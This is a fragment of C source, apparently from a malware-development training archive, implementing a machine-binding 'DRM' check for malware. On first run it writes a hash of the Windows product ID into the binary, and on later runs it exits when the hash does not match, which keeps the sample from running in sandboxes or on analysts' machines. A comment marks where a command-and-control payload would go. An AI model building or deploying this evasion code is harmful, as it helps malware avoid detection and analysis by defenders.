BOOL bResult = FALSE;
LPWSTR szProductId = NULL;
DWORD dwNumberOfBytesRead = 0x00;
// The function should not be called when g_MachineID is equal to the default hash value
if (g_MachineID == DEFAULT_HASH)
return TRUE;
// Read the product ID of the machine
if (!ReadProductIDFromReg(&szProductId, &dwNumberOfBytesRead))
goto _FUNC_CLEANUP;
// Calculate the hash of the product ID, and compare it to the current hash
if (HashStringDjb2W(szProductId) != g_MachineID)
goto _FUNC_CLEANUP;
bResult = TRUE;
_FUNC_CLEANUP:
if (szProductId != NULL)
HeapFree(GetProcessHeap(), 0x00, szProductId);
return bResult;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
int main() {
printf("[i] Saved Machine ID: 0x%0.8X\n", g_MachineID);
// Hash is equal to the default value (program is not yet executed)
if (g_MachineID == DEFAULT_HASH) {
printf("[i] First Time Running, Intializing DRM Protection ... ");
// Update the image to contain the unique system hash
if (!InitializeDrmMalware())
return -1;
printf("[+] Done \n");
}
// The hash does not equal the default hash value
else {
printf("[i] Image Was Executed Before, Comparing Local Machine ID ... ");
// Check if the image is on the same system or not
if (CompareMachineHash())
printf("[+] Same Machine ID \n");
else {
printf("[!] Different Machine ID \n");
return -1;
}
}
//
//
// Malware Code - Ex: Executing A C&C Payload
//
//
return 0;
}
Full Archive Manifest (5 files inside .zip)
- DRM/DRM.sln
- DRM/DRM/DRM.vcxproj
- DRM/DRM/DRM.vcxproj.filters
- DRM/DRM/DRM.vcxproj.user
- DRM/DRM/main.c